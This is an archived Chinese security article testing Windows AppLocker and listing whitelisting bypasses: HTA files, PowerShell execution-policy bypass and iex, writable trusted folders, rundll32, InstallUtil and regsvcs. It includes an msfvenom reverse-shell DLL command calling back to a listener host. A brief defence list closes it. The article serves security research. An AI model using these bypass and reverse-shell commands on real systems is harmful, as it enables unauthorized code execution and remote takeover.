Bypass Windows AppLocker

乌云历史资料库 · · The Attic

乌云历史资料归档

原始作者: 三好学生 原始编号: superkieran-wooyundrops:1003 原始发布时间: 2016-01-18 10:31 声明:内容仅用于技术研究和个人使用,版权归 wooyun.org。


0x00 前言

原文图片

上一次我们对McAfee Application Control做了测试,这次接着对另一款白名单工具Windows AppLocker进行测试,分享一下其中的攻防技术。

0x01 简介

Windows AppLocker,即“应用程序控制策略”,可用来对可执行程序、安装程序和脚本进行控制,之前只能支持windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2,但是微软在2012年10月18日将其更新,已支持Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise 如图

原文图片

AppLocker可对以下文件格式创建规则,限制其执行

原文图片

下面我们就实际测试一下相关功能

0x02 配置

测试环境:

#!bash OS:Windows7 Ultimate x86

1、开启服务

进入计算机管理-服务-Application Identity,将服务设置为开启 如图

原文图片

2、进入AppLocker配置界面

输入secpol.msc进入本地安全策略-应用程序控制策略-AppLocker 或者gpedit.msc-计算机配置-Windows设置-安全设置-应用程序控制策略-AppLocker 如图

原文图片

3、配置规则

对可执行文件设置默认规则:

  • 允许本地管理员组的成员运行所有应用程序。

  • 允许 Everyone 组的成员运行位于 Windows 文件夹中的应用程序。

  • 允许 Everyone 组的成员运行位于 Program Files 文件夹中的应用程序。 如图

原文图片

对脚本设置默认规则:

  • 允许本地管理员组的成员运行所有脚本。

  • 允许 Everyone 组的成员运行位于 Program Files 文件夹中的脚本。

  • 允许 Everyone 组的成员运行位于 Windows 文件夹中的脚本。 如图

原文图片

开启默认规则后,除了默认路径可以执行外,其他路径均无法执行程序和脚本

0x03 测试

1、执行exe

原文图片

2、执行脚本

原文图片

原文图片

0x04 安全机制分析

通过测试发现设置的规则已经生效,能够阻止信任路径外的exe和脚本执行,但是对以下方面没有做限制:

  • 内存

  • Office 宏

  • HTML Applications,即hta文件

  • powershell 而我们已经掌握的绕过技术有:

  • 利用hta文件

  • 利用jscript

  • 利用powershell

  • 利用InstallUtil

  • 利用regsvcs 再加上新学来的技巧,我们最终发现了如下可供利用的方法:)

0x05 绕过方法

1、hta

成功 (可参照http://drops.wooyun.org/tips/10667) 可用来执行vbs和JavaScript脚本

2、提权

提权到管理员权限,即可执行突破AppLocker的限制,执行exe和脚本

3、powershell

(1)可以执行ps脚本

#!bash PowerShell.exe -ExecutionPolicy Bypass -File

(2)可以通过如下方式执行ps脚本

#!bash Get-Content script.txt | iex

(3)可以利用快捷方式执行Powershell 成功 (可参照http://drops.wooyun.org/tips/10667

4、进程注入

既然可以执行powershell脚本,那么就可以反弹出meterpreter 然后尝试进程注入 (可参照http://drops.wooyun.org/tips/11305) 如果注入到普通权限进程,无法执行exe和脚本 如果是system权限进程,可以执行exe和脚本

5、查找可利用的文件路径

通过ps脚本扫描可写入的路径 下载地址:http://go.mssec.se/AppLockerBC (如果无法下载,我已将该脚本上传至Github) 测试如图

原文图片

原文图片

原文图片

执行后会自动扫描出可利用的路径 比如选择路径:c:\Windows\Tasks 正常执行calc.js会被拦截 但是copy calc.js c:\Windows\Tasks后 再执行c:\Windows\Tasks\calc.js,可以绕过拦截 如图

原文图片

6、rundll32

(1)执行JavaScript a、直接弹回一个Http shell (可参照http://drops.wooyun.org/tips/11764) 但无法绕过对执行exe和脚本的拦截 b、利用JavaScript执行powershell命令返回HTTP shell

原文图片

(2)加载第三方dll a、自己编写的dll 参考资料: http://blog.didierstevens.com/2010/02/04/cmd-dll/ 按照dll的格式,自己编写并生成dll上传 执行

#!bash rundll32.exe cmd.dll,Control_RunDLL

弹出一个cmd 如图

原文图片

b、反弹meterpreter kali下:

#!bash msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll

生成a.dll,然后上传至测试主机 执行

#!bash rundll32.exe a.dll,Control_RunDLL

即可上线 如图

原文图片

原文图片

7、利用InstallUtil

利用InstallUtil.exe直接执行shellcode 成功 如果有Microsoft .NET Framework 4.0环境,可用来执行exe (可参照http://drops.wooyun.org/tips/8701,http://drops.wooyun.org/tips/8862

8、利用regsvcs

成功 (可参照http://drops.wooyun.org/tips/10667

0x06 防御

  • 严格控制文件写入权限

  • 禁用mshta.exe阻止hta的运行

  • 禁用powershell

  • 防止被提权

0x07 小结

随着研究的逐渐深入,我们不难发现:利用InstallUtil、regsvcs是绕过白名单限制的一把利器,无论是攻击还是防御,对此部分都要尤其重视。 而利用rundll32.exe的技巧,正在慢慢被发掘。

0x08 参考资料:

Replies